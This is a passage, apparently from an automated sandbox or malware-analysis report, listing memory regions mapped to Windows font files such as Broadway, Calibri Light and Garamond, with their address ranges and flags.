"brlnsr.ttf" filename = "\\Windows\\Fonts\\BRLNSR.TTF" (normalized: "c:\\windows\\fonts\\brlnsr.ttf") Region: id = 1018 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "broadw.ttf" filename = "\\Windows\\Fonts\\BROADW.TTF" (normalized: "c:\\windows\\fonts\\broadw.ttf") Region: id = 1019 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "broadw.ttf" filename = "\\Windows\\Fonts\\BROADW.TTF" (normalized: "c:\\windows\\fonts\\broadw.ttf") Region: id = 1020 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brushsci.ttf" filename = "\\Windows\\Fonts\\BRUSHSCI.TTF" (normalized: "c:\\windows\\fonts\\brushsci.ttf") Region: id = 1021 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brushsci.ttf" filename = "\\Windows\\Fonts\\BRUSHSCI.TTF" (normalized: "c:\\windows\\fonts\\brushsci.ttf") Region: id = 1022 start_va = 0x1290000 end_va = 0x1349fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 1023 start_va = 0x1290000 end_va = 0x1349fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 1024 start_va = 0x5c00000 end_va = 0x5cd4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 1025 start_va = 0x5c00000 end_va = 0x5cd4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 1026 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califb.ttf" filename = "\\Windows\\Fonts\\CALIFB.TTF" (normalized: "c:\\windows\\fonts\\califb.ttf") Region: id = 1027 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califb.ttf" filename = "\\Windows\\Fonts\\CALIFB.TTF" (normalized: "c:\\windows\\fonts\\califb.ttf") Region: id = 1028 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califi.ttf" filename = "\\Windows\\Fonts\\CALIFI.TTF" (normalized: "c:\\windows\\fonts\\califi.ttf") Region: id = 1029 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califi.ttf" filename = "\\Windows\\Fonts\\CALIFI.TTF" (normalized: "c:\\windows\\fonts\\califi.ttf") Region: id = 1030 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califr.ttf" filename = "\\Windows\\Fonts\\CALIFR.TTF" (normalized: "c:\\windows\\fonts\\califr.ttf") Region: id = 1031 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "califr.ttf" filename = "\\Windows\\Fonts\\CALIFR.TTF" (normalized: "c:\\windows\\fonts\\califr.ttf") Region: id = 1032 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calist.ttf" filename = "\\Windows\\Fonts\\CALIST.TTF" (normalized: "c:\\windows\\fonts\\calist.ttf") Region: id = 1033 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calist.ttf" filename = "\\Windows\\Fonts\\CALIST.TTF" (normalized: "c:\\windows\\fonts\\calist.ttf") Region: id = 1034 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistb.ttf" filename = "\\Windows\\Fonts\\CALISTB.TTF" (normalized: "c:\\windows\\fonts\\calistb.ttf") Region: id = 1035 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistb.ttf" filename = "\\Windows\\Fonts\\CALISTB.TTF" (normalized: "c:\\windows\\fonts\\calistb.ttf") Region: id = 1036 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistbi.ttf" filename = "\\Windows\\Fonts\\CALISTBI.TTF" (normalized: "c:\\windows\\fonts\\calistbi.ttf") Region: id = 1037 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calistbi.ttf" filename = "\\Windows\\Fonts\\CALISTBI.TTF" (normalized: "c:\\windows\\fonts\\calistbi.ttf") Region: id = 1038 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calisti.ttf" filename = "\\Windows\\Fonts\\CALISTI.TTF" (normalized: "c:\\windows\\fonts\\calisti.ttf") Region: id = 1039 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calisti.ttf" filename = "\\Windows\\Fonts\\CALISTI.TTF" (normalized: "c:\\windows\\fonts\\calisti.ttf") Region: id = 1040 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "castelar.ttf" filename = "\\Windows\\Fonts\\CASTELAR.TTF" (normalized: "c:\\windows\\fonts\\castelar.ttf") Region: id = 1041 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "castelar.ttf" filename = "\\Windows\\Fonts\\CASTELAR.TTF" (normalized: "c:\\windows\\fonts\\castelar.ttf") Region: id = 1042 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "censcbk.ttf" filename = "\\Windows\\Fonts\\CENSCBK.TTF" (normalized: "c:\\windows\\fonts\\censcbk.ttf") Region: id = 1043 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "censcbk.ttf" filename = "\\Windows\\Fonts\\CENSCBK.TTF" (normalized: "c:\\windows\\fonts\\censcbk.ttf") Region: id = 1044 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "centaur.ttf" filename = "\\Windows\\Fonts\\CENTAUR.TTF" (normalized: "c:\\windows\\fonts\\centaur.ttf") Region: id = 1045 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "centaur.ttf" filename = "\\Windows\\Fonts\\CENTAUR.TTF" (normalized: "c:\\windows\\fonts\\centaur.ttf") Region: id = 1046 start_va = 0x710000 end_va = 0x738fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "century.ttf" filename = "\\Windows\\Fonts\\CENTURY.TTF" (normalized: "c:\\windows\\fonts\\century.ttf") Region: id = 1047 start_va = 0x710000 end_va = 0x738fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "century.ttf" filename = "\\Windows\\Fonts\\CENTURY.TTF" (normalized: "c:\\windows\\fonts\\century.ttf") Region: id = 1048 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "chiller.ttf" filename = "\\Windows\\Fonts\\CHILLER.TTF" (normalized: "c:\\windows\\fonts\\chiller.ttf") Region: id = 1049 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "chiller.ttf" filename = "\\Windows\\Fonts\\CHILLER.TTF" (normalized: "c:\\windows\\fonts\\chiller.ttf") Region: id = 1050 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "colonna.ttf" filename = "\\Windows\\Fonts\\COLONNA.TTF" (normalized: "c:\\windows\\fonts\\colonna.ttf") Region: id = 1051 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "colonna.ttf" filename = "\\Windows\\Fonts\\COLONNA.TTF" (normalized: "c:\\windows\\fonts\\colonna.ttf") Region: id = 1052 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coopbl.ttf" filename = "\\Windows\\Fonts\\COOPBL.TTF" (normalized: "c:\\windows\\fonts\\coopbl.ttf") Region: id = 1053 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coopbl.ttf" filename = "\\Windows\\Fonts\\COOPBL.TTF" (normalized: "c:\\windows\\fonts\\coopbl.ttf") Region: id = 1054 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtb.ttf" filename = "\\Windows\\Fonts\\COPRGTB.TTF" (normalized: "c:\\windows\\fonts\\coprgtb.ttf") Region: id = 1055 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtb.ttf" filename = "\\Windows\\Fonts\\COPRGTB.TTF" (normalized: "c:\\windows\\fonts\\coprgtb.ttf") Region: id = 1056 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtl.ttf" filename = "\\Windows\\Fonts\\COPRGTL.TTF" (normalized: "c:\\windows\\fonts\\coprgtl.ttf") Region: id = 1057 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coprgtl.ttf" filename = "\\Windows\\Fonts\\COPRGTL.TTF" (normalized: "c:\\windows\\fonts\\coprgtl.ttf") Region: id = 1058 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "curlz___.ttf" filename = "\\Windows\\Fonts\\CURLZ___.TTF" (normalized: "c:\\windows\\fonts\\curlz___.ttf") Region: id = 1059 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "curlz___.ttf" filename = "\\Windows\\Fonts\\CURLZ___.TTF" (normalized: "c:\\windows\\fonts\\curlz___.ttf") Region: id = 1060 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnt.ttf" filename = "\\Windows\\Fonts\\ELEPHNT.TTF" (normalized: "c:\\windows\\fonts\\elephnt.ttf") Region: id = 1061 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnt.ttf" filename = "\\Windows\\Fonts\\ELEPHNT.TTF" (normalized: "c:\\windows\\fonts\\elephnt.ttf") Region: id = 1062 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnti.ttf" filename = "\\Windows\\Fonts\\ELEPHNTI.TTF" (normalized: "c:\\windows\\fonts\\elephnti.ttf") Region: id = 1063 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elephnti.ttf" filename = "\\Windows\\Fonts\\ELEPHNTI.TTF" (normalized: "c:\\windows\\fonts\\elephnti.ttf") Region: id = 1064 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "engr.ttf" filename = "\\Windows\\Fonts\\ENGR.TTF" (normalized: "c:\\windows\\fonts\\engr.ttf") Region: id = 1065 start_va = 0x450000 end_va = 0x45cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "engr.ttf" filename = "\\Windows\\Fonts\\ENGR.TTF" (normalized: "c:\\windows\\fonts\\engr.ttf") Region: id = 1066 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasbd.ttf" filename = "\\Windows\\Fonts\\ERASBD.TTF" (normalized: "c:\\windows\\fonts\\erasbd.ttf") Region: id = 1067 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasbd.ttf" filename = "\\Windows\\Fonts\\ERASBD.TTF" (normalized: "c:\\windows\\fonts\\erasbd.ttf") Region: id = 1068 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasdemi.ttf" filename = "\\Windows\\Fonts\\ERASDEMI.TTF" (normalized: "c:\\windows\\fonts\\erasdemi.ttf") Region: id = 1069 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasdemi.ttf" filename = "\\Windows\\Fonts\\ERASDEMI.TTF" (normalized: "c:\\windows\\fonts\\erasdemi.ttf") Region: id = 1070 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eraslght.ttf" filename = "\\Windows\\Fonts\\ERASLGHT.TTF" (normalized: "c:\\windows\\fonts\\eraslght.ttf") Region: id = 1071 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eraslght.ttf" filename = "\\Windows\\Fonts\\ERASLGHT.TTF" (normalized: "c:\\windows\\fonts\\eraslght.ttf") Region: id = 1072 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasmd.ttf" filename = "\\Windows\\Fonts\\ERASMD.TTF" (normalized: "c:\\windows\\fonts\\erasmd.ttf") Region: id = 1073 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "erasmd.ttf" filename = "\\Windows\\Fonts\\ERASMD.TTF" (normalized: "c:\\windows\\fonts\\erasmd.ttf") Region: id = 1074 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "felixti.ttf" filename = "\\Windows\\Fonts\\FELIXTI.TTF" (normalized: "c:\\windows\\fonts\\felixti.ttf") Region: id = 1075 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "felixti.ttf" filename = "\\Windows\\Fonts\\FELIXTI.TTF" (normalized: "c:\\windows\\fonts\\felixti.ttf") Region: id = 1076 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "forte.ttf" filename = "\\Windows\\Fonts\\FORTE.TTF" (normalized: "c:\\windows\\fonts\\forte.ttf") Region: id = 1077 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "forte.ttf" filename = "\\Windows\\Fonts\\FORTE.TTF" (normalized: "c:\\windows\\fonts\\forte.ttf") Region: id = 1078 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabk.ttf" filename = "\\Windows\\Fonts\\FRABK.TTF" (normalized: "c:\\windows\\fonts\\frabk.ttf") Region: id = 1079 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabk.ttf" filename = "\\Windows\\Fonts\\FRABK.TTF" (normalized: "c:\\windows\\fonts\\frabk.ttf") Region: id = 1080 start_va = 0x710000 end_va = 0x739fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabkit.ttf" filename = "\\Windows\\Fonts\\FRABKIT.TTF" (normalized: "c:\\windows\\fonts\\frabkit.ttf") Region: id = 1081 start_va = 0x710000 end_va = 0x739fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frabkit.ttf" filename = "\\Windows\\Fonts\\FRABKIT.TTF" (normalized: "c:\\windows\\fonts\\frabkit.ttf") Region: id = 1082 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradm.ttf" filename = "\\Windows\\Fonts\\FRADM.TTF" (normalized: "c:\\windows\\fonts\\fradm.ttf") Region: id = 1083 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradm.ttf" filename = "\\Windows\\Fonts\\FRADM.TTF" (normalized: "c:\\windows\\fonts\\fradm.ttf") Region: id = 1084 start_va = 0x450000 end_va = 0x46cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmcn.ttf" filename = "\\Windows\\Fonts\\FRADMCN.TTF" (normalized: "c:\\windows\\fonts\\fradmcn.ttf") Region: id = 1085 start_va = 0x450000 end_va = 0x46cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmcn.ttf" filename = "\\Windows\\Fonts\\FRADMCN.TTF" (normalized: "c:\\windows\\fonts\\fradmcn.ttf") Region: id = 1086 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmit.ttf" filename = "\\Windows\\Fonts\\FRADMIT.TTF" (normalized: "c:\\windows\\fonts\\fradmit.ttf") Region: id = 1087 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fradmit.ttf" filename = "\\Windows\\Fonts\\FRADMIT.TTF" (normalized: "c:\\windows\\fonts\\fradmit.ttf") Region: id = 1088 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahv.ttf" filename = "\\Windows\\Fonts\\FRAHV.TTF" (normalized: "c:\\windows\\fonts\\frahv.ttf") Region: id = 1089 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahv.ttf" filename = "\\Windows\\Fonts\\FRAHV.TTF" (normalized: "c:\\windows\\fonts\\frahv.ttf") Region: id = 1090 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahvit.ttf" filename = "\\Windows\\Fonts\\FRAHVIT.TTF" (normalized: "c:\\windows\\fonts\\frahvit.ttf") Region: id = 1091 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frahvit.ttf" filename = "\\Windows\\Fonts\\FRAHVIT.TTF" (normalized: "c:\\windows\\fonts\\frahvit.ttf") Region: id = 1092 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdcn.ttf" filename = "\\Windows\\Fonts\\FRAMDCN.TTF" (normalized: "c:\\windows\\fonts\\framdcn.ttf") Region: id = 1093 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdcn.ttf" filename = "\\Windows\\Fonts\\FRAMDCN.TTF" (normalized: "c:\\windows\\fonts\\framdcn.ttf") Region: id = 1094 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "freescpt.ttf" filename = "\\Windows\\Fonts\\FREESCPT.TTF" (normalized: "c:\\windows\\fonts\\freescpt.ttf") Region: id = 1095 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "freescpt.ttf" filename = "\\Windows\\Fonts\\FREESCPT.TTF" (normalized: "c:\\windows\\fonts\\freescpt.ttf") Region: id = 1096 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frscript.ttf" filename = "\\Windows\\Fonts\\FRSCRIPT.TTF" (normalized: "c:\\windows\\fonts\\frscript.ttf") Region: id = 1097 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frscript.ttf" filename = "\\Windows\\Fonts\\FRSCRIPT.TTF" (normalized: "c:\\windows\\fonts\\frscript.ttf") Region: id = 1098 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ftltlt.ttf" filename = "\\Windows\\Fonts\\FTLTLT.TTF" (normalized: "c:\\windows\\fonts\\ftltlt.ttf") Region: id = 1099 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ftltlt.ttf" filename = "\\Windows\\Fonts\\FTLTLT.TTF" (normalized: "c:\\windows\\fonts\\ftltlt.ttf") Region: id = 1100 start_va = 0x710000 end_va = 0x743fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugi.ttf" filename = "\\Windows\\Fonts\\GADUGI.TTF" (normalized: "c:\\windows\\fonts\\gadugi.ttf") Region: id = 1101 start_va = 0x710000 end_va = 0x743fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugi.ttf" filename = "\\Windows\\Fonts\\GADUGI.TTF" (normalized: "c:\\windows\\fonts\\gadugi.ttf") Region: id = 1102 start_va = 0x710000 end_va = 0x743fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugib.ttf" filename = "\\Windows\\Fonts\\GADUGIB.TTF" (normalized: "c:\\windows\\fonts\\gadugib.ttf") Region: id = 1103 start_va = 0x710000 end_va = 0x743fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gadugib.ttf" filename = "\\Windows\\Fonts\\GADUGIB.TTF" (normalized: "c:\\windows\\fonts\\gadugib.ttf") Region: id = 1104 start_va = 0x710000 end_va = 0x740fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gara.ttf" filename = "\\Windows\\Fonts\\GARA.TTF" (normalized: "c:\\windows\\fonts\\gara.ttf") Region: id = 1105 start_va = 0x710000 end_va = 0x740fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gara.ttf" filename = "\\Windows\\Fonts\\GARA.TTF" (normalized: "c:\\windows\\fonts\\gara.ttf") Region: id = 1106 start_va = 0x710000 end_va = 0x740fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garabd.ttf" filename = "\\Windows\\Fonts\\GARABD.TTF" (normalized: "c:\\windows\\fonts\\garabd.ttf") Region: id = 1107 start_va = 0x710000 end_va = 0x740fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garabd.ttf" filename = "\\Windows\\Fonts\\GARABD.TTF" (normalized: "c:\\windows\\fonts\\garabd.ttf") Region: id = 1108 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garait.ttf" filename = "\\Windows\\Fonts\\GARAIT.TTF" (normalized: "c:\\windows\\fonts\\garait.ttf") Region: id = 1109 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "garait.ttf" filename = "\\Windows\\Fonts\\GARAIT.TTF" (normalized: "c:\\windows\\fonts\\garait.ttf") Region: id = 1110 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gigi.ttf" filename = "\\Windows\\Fonts\\GIGI.TTF" (normalized: "c:\\windows\\fonts\\gigi.ttf") Region: id = 1111 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gigi.ttf" filename = "\\Windows\\Fonts\\GIGI.TTF" (normalized: "c:\\windows\\fonts\\gigi.ttf") Region: id = 1112 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gil_____.ttf" filename = "\\Windows\\Fonts\\GIL_____.TTF" (normalized: "c:\\windows\\fonts\\gil_____.ttf") Region: id = 1113 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gil_____.ttf" filename = "\\Windows\\Fonts\\GIL_____.TTF" (normalized: "c:\\windows\\fonts\\gil_____.ttf") Region: id = 1114 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilb____.ttf" filename = "\\Windows\\Fonts\\GILB____.TTF" (normalized: "c:\\windows\\fonts\\gilb____.ttf") Region: id = 1115 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilb____.ttf" filename = "\\Windows\\Fonts\\GILB____.TTF" (normalized: "c:\\windows\\fonts\\gilb____.ttf") Region: id = 1116 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilbi___.ttf" filename = "\\Windows\\Fonts\\GILBI___.TTF" (normalized: "c:\\windows\\fonts\\gilbi___.ttf") Region: id = 1117 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilbi___.ttf" filename = "\\Windows\\Fonts\\GILBI___.TTF" (normalized: "c:\\windows\\fonts\\gilbi___.ttf") Region: id = 1118 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilc____.ttf" filename = "\\Windows\\Fonts\\GILC____.TTF" (normalized: "c:\\windows\\fonts\\gilc____.ttf") Region: id = 1119 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilc____.ttf" filename = "\\Windows\\Fonts\\GILC____.TTF" (normalized: "c:\\windows\\fonts\\gilc____.ttf") Region: id = 1120 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gili____.ttf" filename = "\\Windows\\Fonts\\GILI____.TTF" (normalized: "c:\\windows\\fonts\\gili____.ttf") Region: id = 1121 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gili____.ttf" filename = "\\Windows\\Fonts\\GILI____.TTF" (normalized: "c:\\windows\\fonts\\gili____.ttf") Region: id = 1122 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gillubcd.ttf" filename = "\\Windows\\Fonts\\GILLUBCD.TTF" (normalized: "c:\\windows\\fonts\\gillubcd.ttf") Region: id = 1123 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gillubcd.ttf" filename = "\\Windows\\Fonts\\GILLUBCD.TTF" (normalized: "c:\\windows\\fonts\\gillubcd.ttf") Region: id = 1124 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilsanub.ttf" filename = "\\Windows\\Fonts\\GILSANUB.TTF" (normalized: "c:\\windows\\fonts\\gilsanub.ttf") Region: id = 1125 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gilsanub.ttf" filename = "\\Windows\\Fonts\\GILSANUB.TTF" (normalized: "c:\\windows\\fonts\\gilsanub.ttf") Region: id = 1126 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glecb.ttf" filename = "\\Windows\\Fonts\\GLECB.TTF" (normalized: "c:\\windows\\fonts\\glecb.ttf") Region: id = 1127 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glecb.ttf" filename = "\\Windows\\Fonts\\GLECB.TTF" (normalized: "c:\\windows\\fonts\\glecb.ttf") Region: id = 1128 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glsnecb.ttf" filename = "\\Windows\\Fonts\\GLSNECB.TTF" (normalized: "c:\\windows\\fonts\\glsnecb.ttf") Region: id = 1129 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "glsnecb.ttf" filename = "\\Windows\\Fonts\\GLSNECB.TTF" (normalized: "c:\\windows\\fonts\\glsnecb.ttf") Region: id = 1130 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothic.ttf" filename = "\\Windows\\Fonts\\GOTHIC.TTF" (normalized: "c:\\windows\\fonts\\gothic.ttf") Region: id = 1131 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothic.ttf" filename = "\\Windows\\Fonts\\GOTHIC.TTF" (normalized: "c:\\windows\\fonts\\gothic.ttf") Region: id = 1132 start_va = 0x450000 end_va = 0x46ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicb.ttf" filename = "\\Windows\\Fonts\\GOTHICB.TTF" (normalized: "c:\\windows\\fonts\\gothicb.ttf") Region: id = 1133 start_va = 0x450000 end_va = 0x46ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicb.ttf" filename = "\\Windows\\Fonts\\GOTHICB.TTF" (normalized: "c:\\windows\\fonts\\gothicb.ttf") Region: id = 1134 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicbi.ttf" filename = "\\Windows\\Fonts\\GOTHICBI.TTF" (normalized: "c:\\windows\\fonts\\gothicbi.ttf") Region: id = 1135 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothicbi.ttf" filename = "\\Windows\\Fonts\\GOTHICBI.TTF" (normalized: "c:\\windows\\fonts\\gothicbi.ttf") Region: id = 1136 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothici.ttf" filename = "\\Windows\\Fonts\\GOTHICI.TTF" (normalized: "c:\\windows\\fonts\\gothici.ttf") Region: id = 1137 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gothici.ttf" filename = "\\Windows\\Fonts\\GOTHICI.TTF" (normalized: "c:\\windows\\fonts\\gothici.ttf") Region: id = 1138 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudos.ttf" filename = "\\Windows\\Fonts\\GOUDOS.TTF" (normalized: "c:\\windows\\fonts\\goudos.ttf") Region: id = 1139 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudos.ttf" filename = "\\Windows\\Fonts\\GOUDOS.TTF" (normalized: "c:\\windows\\fonts\\goudos.ttf") Region: id = 1140 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = 